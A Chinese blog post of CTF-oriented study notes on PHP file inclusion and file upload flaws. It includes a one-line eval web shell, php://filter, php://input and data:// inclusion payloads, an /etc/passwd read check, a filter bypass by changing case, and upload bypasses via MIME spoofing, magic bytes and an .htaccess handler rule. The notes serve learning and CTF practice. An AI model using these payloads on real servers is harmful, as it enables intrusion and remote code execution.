get用来获取数据,post用来发送数据,get请求参数会放到url中,但是隐私性和安全性较差,且请求的数据长度有限,post请求没有长度限制,存放在body中。
文件包含漏洞定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
危险函数:include(),include_once(),require(),require_once().
加highlight_file(__FILE__);才可在前端显示,否则就在后台执行
echo相当于C语言中的printf
例如:echo "XiXi $age $age和$height的值,<br>意思是换行。此时并未给$age和$height值,所以只会输出XiXi。
include "message.php";意思就是把message.php文件里的内容粘贴到此文件。在message.php中写入
$age=18;
$height=166cm;
此时再执行echo"XiXi $age $height<br>";则执行结果为XiXi 18 166cm
但是如果没有对message.php进行限制的话,可能造成文件被读取或者利用。
判断是否存在文件包含:查看/etc/passwd
ctf常见flag文件位置:flag、flag.txt、/flag、flag.php
PHP的一些伪协议:
file:// 访问本地文件系统,在CTF比赛中常用来读取本地文件
用法:file://[文件的绝对路径和文件名]
条件(php.ini):allow_url_fopen=off/on on off都可
eg:http://www.example.com/index.php?file=file://D:/PhpStudy/WWW/flag.txt
php://协议
php://filter
用法:读取网页源代码
条件(php.ini) : allow_url_fopen=off/on
allow_url_include=off/on on off都可
ini无法获取的话,可以利用:(如果不是base64编码(特征是最后有 ==),就会当成php执行,就看不到源码了)file=php://filter/read
=convert.base64-resource=index.php拿burp或hacker decode一 下,就看见源码了。
php://input
用法:可以访问请求的原始数据的只读流,将post请求中的数据 作为PHP代码执行
条件(php.ini) : allow_url_fopen=off/on
allow_url_include=on
只要include开启,就可以当成php代码执行
data://协议
将php代码使用data://协议发送执行
data://text/plain;base64;PD9waHAgc3lzdGVtKCJkaXliKTsgPz4=
条件:allow_url_fopen, allow_url_include=on
while(strstr($page,"php://)){ //检查page变量中是否含有字符串"php://"
$page=str_replace("php://","",$page);//将page变量中的"php://"用空字符代替
}(但协议不区分大小写,我们可以用"Php://"绕过)
文件上传漏洞
概述:
文件上传漏洞是指Web服务器允许用户在没有充分验证文件名称、类型、内容或大小等内容的情况下将文件上传到其文件系统。未能正确执行这些限制可能意味着即使是基本的图像上传功能也可用于任意且具有潜在危险的文件。这甚至可以包括启用远程代码执行的服务器端脚本文件。
在某些情况下,上传文件的行为本身就足以造成损害。其他gj可能涉及对文件的后续HTTP请求,通常是为了触发服务器执行该文件
漏洞影响:
在最坏的情况下,文件的类型没有得到正确验证,服务器配置允许某些类型的文件(例如.php和.jsp)作为代码执行。在这种情况下,gj者可能会上传一个充当Web shell的服务器端代码文件,从而有效地授予他们对服务器的完全控制权。
如果文件名没有得到正确验证,这可能允许gj者通过上传同名文件来覆盖关键文件。如果服务器也容易受到目录遍历的gj,这可能意味着gj者甚至可以将文件上传到意外位置。
未能确保文件大小在预期阈值范围内还可能导致某种形式的拒绝服务(Dos)gj,gj者借此填满可用的磁盘空间
一句话mua:就是只需要一行代码的mua,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话mua出现了无数种变形,但其本质是不变的:mua的函数执行了我们发送的命令。
常见的:<?php@eval($_GET['shell']);?>
eval函数用于执行php代码,参数为字符串(即需要执行的代码)
$_POST[]即取post请求的data参数的值
用到的工具:中国菜刀,蚁剑,冰蝎......
前端js校验
绕过方法:上传的文件改为允许的后缀绕过js检测后再抓包,把后缀名改为可执行文件。
MIME头检测
检测:Content-Type
绕过方法:更改Content-Type为允许的即可
文件头绕过
GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A 十六进制
JPG:FF DB FF E0 00 10 4A 46 49 46
.htaccess文件绕过
在文件里写入:
<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
或者AddType application/x-httpd-php.jpg
使123.jpg文件可以被当作php代码执行。
标签:文件,include,url,笔记,allow,php,上传,gj From: https://blog.51cto.com/u_16036037/6179235